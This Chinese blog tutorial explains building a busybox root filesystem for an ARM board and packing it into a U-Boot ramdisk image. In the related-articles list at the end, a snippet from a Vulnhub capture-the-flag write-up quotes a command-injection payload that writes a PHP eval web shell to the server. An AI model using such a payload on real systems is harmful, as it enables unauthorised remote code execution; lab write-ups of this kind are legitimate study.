系统移植(十一)根文件系统(未整理)

news2024/12/27 13:50:14

文章目录

  • 一、根文件系统中各个目录文件功能解析:
  • 二、对busybox进行配置和编译
    • (一)执行make help命令获取make的帮助信息
    • (二)对busybox源码进行配置,配置交叉编译器
    • (三)执行make menuconfig命令,通过图形化界面对busybox源码进行配置
      • 1. 使用静态编译,不使用共享库
      • 2. 指定跟文件系统的安装路径
      • 3. 配置VI风格的命令行编译器
      • 4. 配置支持所有的模块化的命令
    • (四)编译busybox源码
    • (五)安装根文件系统,生成对应的根文件系统
    • (六)添加根文件系统中必要的文件
      • 1. 创建/etc/init.d/rcS文件
      • 2. 创建/etc/fstab文件
      • 3. 创建/etc/profile配置文件
      • 4. 创建etc/inittab文件
    • (七)移植动态库文件
  • 三、 将rootfs根文件系统打包生成单个的ramdisk.img镜像文件
      • 1. 进入到家目录下
      • 2. 使用dd命令制作一个64M大小的ramdisk单个文件
      • 3. 使用mkfs.ext4对ramdisk进行格式化,格式化为ext4格式
      • 4. 将ramdisk 挂载到/mnt目录
      • 5. 查看自己制作的跟文件系统的大小
      • 6. 使用strip命令压缩文件的体积
      • 7. 将~/rootfs中的内容拷贝到/mnt目录下,相当于拷贝到ramdisk文件中
      • 8. 解除挂载
      • 9. 使用gzip对ramdisk进行压缩
      • 10. 使用mkimage命令给ramdisk.gz文件添加64字节的数据头得到ramdisk.img镜像文件
      • 11. 拷贝ramdisk.img到~/tftpboot目录下
      • 12. 测试ramdisk.img镜像文件

一、根文件系统中各个目录文件功能解析:

bin: 命令文件(通过busybox工具制作)
linuxrc:根文件系统被挂载后运行的第一个程序(通过busybox工具制作)
sbin: 超级用户命令、一般用户不可用(板子本身是超级用户通过busybox工具制作)
usr: 用户文件(通过busybox工具制作)

以下几个目录使用mkdir命令手动创建
dev: 设备文件(被操作系统识别的设备才有对应的文件,即设备运行时)
etc: 配置文件(配置内核相关的一些信息)
lib: 库文件、比如C的标准库(从交叉编译工具链中复制的)
mnt: 共享目录(非必要)比如挂载SD卡等时将SD卡挂载在该目录
proc: 与进程相关的文件(当有进程运行时才会有文件)
root: 用户权限(板子本身就是以root用户运行)
sys: 系统文件(系统运行时,系统加载后才会有文件)
tmp: 临时文件(比如插入新的设备时会产生临时文件)
var: 存放下载的文件和软件 (可有可无)
home: 用户家目录

二、对busybox进行配置和编译

(一)执行make help命令获取make的帮助信息

在这里插入图片描述
在这里插入图片描述

(二)对busybox源码进行配置,配置交叉编译器

修改busybox源码目录下的Makefile文件

将以下内容:
190 ARCH ?= $(SUBARCH)
164 CROSS_COMPILE ?=

修改为:
190 ARCH ?= arm
164 CROSS_COMPILE ?= arm-linux-gnueabihf-
在这里插入图片描述

在这里插入图片描述

(三)执行make menuconfig命令,通过图形化界面对busybox源码进行配置

1. 使用静态编译,不使用共享库

Settings  ---> 
	[*] Build static binary (no shared libs) 

2. 指定跟文件系统的安装路径

Settings  ---> 
	 (./rootfs) Destination path for 'make install'

3. 配置VI风格的命令行编译器

Settings  ---> 
	[*]   vi-style line editing commands 

4. 配置支持所有的模块化的命令

Linux Module Utilities  --->
	[ ] Simplified modutils 

(四)编译busybox源码

(五)安装根文件系统,生成对应的根文件系统

(六)添加根文件系统中必要的文件

1. 创建/etc/init.d/rcS文件

如果不创建,会产生以下错误:
在这里插入图片描述

2. 创建/etc/fstab文件

3. 创建/etc/profile配置文件

4. 创建etc/inittab文件

在这里插入图片描述
在这里插入图片描述
拷贝ARM版本的动态库,到自己移植的根文件系统的lib路径下
在这里插入图片描述

(七)移植动态库文件

三、 将rootfs根文件系统打包生成单个的ramdisk.img镜像文件

1. 进入到家目录下

$ cd ~ 

2. 使用dd命令制作一个64M大小的ramdisk单个文件

$ sudo dd  if=/dev/zero of=ramdisk  bs=1M count=64

ramdisk文件最多可以存储64M大小的数据

  • 注:
  • dd:是一个用于转换和复制文件的命令行实用程序。它可以用来生成特定大小和内容的文件,也可以用来转换文件中的数据格式。
  • if=/dev/zero:if是input file的缩写,指定输入文件。
    /dev/zero是一个特殊的文件,读取它会得到无限的零值(\0,即二进制中的0)。在这个命令中,它被用作数据源,意味着dd命令将从/dev/zero读取数据。
  • of=ramdisk:of是output file的缩写,指定输出文件。在这个例子中,输出文件被命名为ramdisk。如果该文件不存在,dd命令会创建它;如果文件已存在,dd命令会覆盖它。
  • bs=1M:bs是block size的缩写,用于指定块的大小,即每次读写操作处理的数据量。在这个命令中,块大小被设置为1MB(兆字节)。这意味着dd命令每次从/dev/zero读取1MB的数据,然后写入到ramdisk文件中。
  • count=64:这个选项指定了要复制的块的数量。由于块大小是1MB,所以总共会写入64 * 1MB = 64MB的数据到ramdisk文件中。

3. 使用mkfs.ext4对ramdisk进行格式化,格式化为ext4格式

$ sudo mkfs.ext4 -F ramdisk 

在这里插入图片描述

  • 注:
  • mkfs.ext4 是用于在设备上创建 ext4 文件系统的命令行工具。它通常用于格式化硬盘分区、USB驱动器或其他存储设备。mkfs.ext4 需要一个块设备作为输入。
  • -F 选项用于强制格式化。

4. 将ramdisk 挂载到/mnt目录

$ sudo mount -t ext4 ramdisk /mnt 

5. 查看自己制作的跟文件系统的大小

$ du -h ~/rootfs   // 可知rootfs达到151M,但是ramdisk只有64M 

在这里插入图片描述

6. 使用strip命令压缩文件的体积

$ su  root 
$ /home/linux/toolchain/gcc-7.5.0/bin/arm-linux-gnueabihf-strip /home/linux/rootfs/lib/*
$ exit 
$ du -h ~/rootfs    // 压缩到49M 
  • 注:arm-linux-gnueabihf-strip压缩名,压缩文件的体积,压缩完成之后不影响文件的使用

在这里插入图片描述

压缩过后,rootfs的大小压缩为49M
在这里插入图片描述

7. 将~/rootfs中的内容拷贝到/mnt目录下,相当于拷贝到ramdisk文件中

$ sudo cp -raf ~/rootfs/*  /mnt
  • 注:
  • -r-R:这是递归复制的选项。当复制目录时,这个选项会复制目录及其所有子目录和文件。没有这个选项,cp命令默认只复制文件,不复制目录。
  • -a:这是归档模式的选项,它实际上是-dR --preserve=all的简写。它尝试以尽可能保留原始文件属性(如时间戳、权限、所有权等)的方式复制文件。这对于复制目录树特别有用,因为它确保了复制后的目录树与原始目录树尽可能相同。然而,在这个命令中,-a选项与-r(或-R)一起使用时,-r是多余的,因为-a已经包含了递归复制的功能。
  • -f:这是强制(force)选项。它会导致cp命令覆盖目标位置上的同名文件,而不会询问用户确认。此外,如果目标目录不存在,并且没有使用-r(或-R)选项复制目录,-f选项还可以防止cp命令报错。但在这个命令中,由于使用了-r(或-R,与-a一起时),-f主要用于覆盖文件。

8. 解除挂载

$ sudo umount /mnt 

9. 使用gzip对ramdisk进行压缩

$ gzip --best -c ramdisk > ramdisk.gz 

10. 使用mkimage命令给ramdisk.gz文件添加64字节的数据头得到ramdisk.img镜像文件

$ mkimage -n "ramdisk" -A arm -O linux -T ramdisk -C gzip -d ramdisk.gz ramdisk.img

在这里插入图片描述
在这里插入图片描述

11. 拷贝ramdisk.img到~/tftpboot目录下

$ chmod 777 ramdisk.img 
$ cp ramdisk.img ~/tftpboot 

12. 测试ramdisk.img镜像文件

FSMP1A> setenv bootcmd "mmc dev 0;mmc read 0xc2000000 0x2000 0x4000;mmc read 0xc4000000 0x10000 0x200;mmc read 0xc5000000 0x21500 0x21500;bootm 0xc2000000 0xc5000000 0xc4000000"
FSMP1A> setenv bootargs root=/dev/ram console=ttySTM0,115200 initrd=0xc5000040,0x1000000 rw init=/linuxrc rootfstype=ext4
FSMP1A> saveenv

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1965184.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

kill 命令详解

kill命令其实比较让人难以理解的点在于信号这块,开发中kill -9经常用,但却很少去深入了解其他信号参数的具体作用,本文主要是就信号这块做一个解释。 实验代码 public static void main(String[] args) {Runtime.getRuntime().addShutdownHoo…

文件系统 --- 文件结构体,文件fd以及文件描述符表

序言 在编程的世界里,文件操作是不可或缺的一部分。无论是数据的持久化存储、日志记录,还是简单的文本编辑,文件都扮演着至关重要的角色。然而,当我们通过编程语言如 C、Java 等轻松地进行文件读写时,背后隐藏的复杂机…

C#面向对象补全计划 之 画UML类图(持续更新)

本文仅作学习笔记与交流,不作任何商业用途,作者能力有限,如有不足还请斧正 本系列旨在通过补全学习之后,给出任意类图都能实现并做到逻辑上严丝合缝 学会这套规则,并看完面向对象补全计划文章之后,可以尝试…

Ubuntu20.04安装Angular CLI

一、更换apt-get源 使用原来的apt-get源有几个包报错,下不下来 更换阿里源(阿里巴巴开源镜像站-OPSX镜像站-阿里云开发者社区),使用网站中的内容,在 apt-get update 时总是报错 改用清华源: deb http:/…

多种方式防止表单重复提交

1.前端方案: 通过js将按钮绑定一个方法,点击后3s内将按钮设置成不可用,或者隐藏。 缺点:绕过前端,例如通过postman发请求。 2.hashmap版: 请求携带一个参数,将请求携带的参数(可…

牛客JS题(十四)类继承

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; 类的基本使用构造函数实现类原型链的使用 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charset"utf-8" /></head><body><script type"tex…

这两个大龄程序员,打算搞垮一个世界软件巨头!

大家都知道&#xff0c;Adobe是多媒体和数字内容创作者的绝对王者&#xff0c;它的旗下有众多大家耳熟能详的软件&#xff1a;Photoshop、Illustrator、Premiere Pro、After Effects、InDegign、Acrobat、Animate等等。 这些软件使用门槛很高&#xff0c;价格昂贵&#xff0c;安…

安装 Terraform for Tencent 使用

第一步 &#xff1a;下载安装包 前往 Terraform 官网&#xff0c;使用命令行直接安装 Terraform 或下载二进制安装文件。 解压并配置全局路径 Linux/MAC&#xff1a;export PATH$PATH:${可执行文件所在目录} 例如&#xff1a;export PATH$PATH:$/usr/bin/terraform Win…

Vulnhub靶机-Jangow 1.0.1

Vulnhub靶机-Jangow 1.0.1 修改为NAT模式 ?buscarecho <?php eval($_POST[cmd])?> >shell.php后面试了试很多网上的方法反弹shell但都不行

LeetCode面试150——122买卖股票的最佳时机II

题目难度&#xff1a;中等 默认优化目标&#xff1a;最小化平均时间复杂度。 Python默认为Python3。 目录 1 题目描述 2 题目解析 3 算法原理及题目解析 3.1 动态规划 3.2 贪心算法 参考文献 1 题目描述 给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支…

Spring-FactoryBean来配置Bean

spring通过FactoryBean配置&#xff0c;比前面的工厂方法配置Bean要重要些&#xff0c;因为我们整合很多第三方的框架的时候&#xff0c;需要用到FactoryBean来配置第三方框架中的bean 对象&#xff0c;从而把第三方框架整合到spring中来&#xff01;当然在整合这些第三方框架的…

2024西安铁一中集训DAY28 ---- 模拟赛(简单dp + 堆,模拟 + 点分治 + 神秘dp)

文章目录 前言时间安排及成绩题解A. 江桥不会做的签到题&#xff08;简单dp&#xff09;B. 江桥树上逃&#xff08;堆&#xff0c;模拟&#xff09;C. 括号平衡路径&#xff08;点分治&#xff09;D. 回到起始顺序&#xff08;dp&#xff0c;组合数学&#xff09; 前言 T2好难…

吴恩达老师机器学习-ex4

梯度检测没有实现。有借鉴网上的部分 导入相关库&#xff0c;读取数据 因为这次的数据是mat文件&#xff0c;需要使用scipy库中的loadmat进行读取数据。 通过对数据类型的分析&#xff0c;发现是字典类型&#xff0c;查看该字典的键&#xff0c;可以发现又X&#xff0c;y等关…

使用obsidian-webpage-export 插件,将 Obsidian 中的笔记导出为网页

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…

2024下《网络工程师》案例简答题,刷这些就够了!

距离2024下半年软考已经越来越近了&#xff0c;不知道今年备考软考网络工程师的同学们开始准备了吗&#xff1f; 简答题一直是网工拿分的重点区域&#xff0c;对于许多考生来说&#xff0c;也往往是最具挑战性的部分。今天我就把那些重要的案例简答题类型整理汇总给大家&#x…

【Python学习手册(第四版)】学习笔记12-if语句(and、or、三元表达式)详解

个人总结难免疏漏&#xff0c;请多包涵。更多内容请查看原文。本文以及学习笔记系列仅用于个人学习、研究交流。 本文较简单&#xff0c;对if语句的格式、示例、多路做了示例&#xff0c;以及真值测试&#xff08;and、or等&#xff09;介绍&#xff0c;最后介绍了三三元表达式…

M12电连接器的编码分类及应用领域分析

12电连接器的编码主要包括A、B、C、D、X、S、T、K、L等类型&#xff0c;每种编码都有其特定的应用场景和功能&#xff1a; A编码&#xff1a;适用于传感器、直流电、1G以太网。 B编码&#xff1a;主要用于PROFIBUS总线系统。 C编码&#xff1a;适用于交流电。 D编码&#x…

十八次(虚拟主机与vue项目、samba磁盘映射、nfs共享)

1、虚拟主机搭建环境准备 将原有的nginx.conf文件备份 [rootserver ~]# cp /usr/local/nginx/conf/nginx.conf /usr/local/nginx/conf/nginx.conf.bak[rootserver ~]# grep -Ev "#|^$" /usr/local/nginx/conf/nginx.conf[rootserver ~]# grep -Ev "#|^$"…

视频编辑SDK,功能全面、包体小,支持高效灵活接入

如何在快节奏的市场环境中&#xff0c;快速制作出高质量、富有吸引力的视频内容&#xff0c;成为了众多企业面临的共同挑战。美摄科技&#xff0c;作为视频编辑技术的先行者&#xff0c;携其全面功能、小巧包体、高效灵活接入的视频编辑SDK&#xff0c;为企业视频创作带来了革命…